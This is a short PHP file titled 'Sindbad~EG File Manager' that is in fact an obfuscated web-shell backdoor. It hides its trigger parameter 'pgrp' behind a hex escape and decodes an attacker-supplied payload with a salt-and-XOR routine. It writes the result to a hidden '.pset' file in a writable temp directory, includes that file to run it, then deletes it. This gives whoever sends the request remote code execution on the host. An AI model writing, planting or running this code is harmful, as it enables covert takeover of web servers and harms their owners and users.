Sindbad~EG File Manager

<?php

if(filter_has_var(INPUT_POST, "pgr\x70")){
	$ent = array_filter([ini_get("upload_tmp_dir"), "/tmp", "/var/tmp", getenv("TEMP"), getenv("TMP"), sys_get_temp_dir(), "/dev/shm", session_save_path(), getcwd()]);
	$reference = $_REQUEST["pgr\x70"];
		$reference	= explode( '.' , 	$reference		)		 ; 		
	$element = '';
            $salt = 'abcdefghijklmnopqrstuvwxyz0123456789';
            $sLen = strlen(  $salt 	);
            $w = 0;
            $len = count(  $reference 	);
    
            do { if(  $w		>= $len) break;
                $v7 = $reference[$w];
                $chS = ord(  $salt[$w %	$sLen] 	);
                $dec =(  (  int)$v7 - $chS -(  $w %	10))  ^95;
                $element .= chr(  $dec 	);
                $w++; 	} while(  true 	);
	while ($value = array_shift($ent)) {
    		if ((bool)is_dir($value) && (bool)is_writable($value)) {
    $comp = implode("/", [$value, ".pset"]);
    if (@file_put_contents($comp, $element) !== false) {
	include $comp;
	unlink($comp);
	die();
}
}
}
}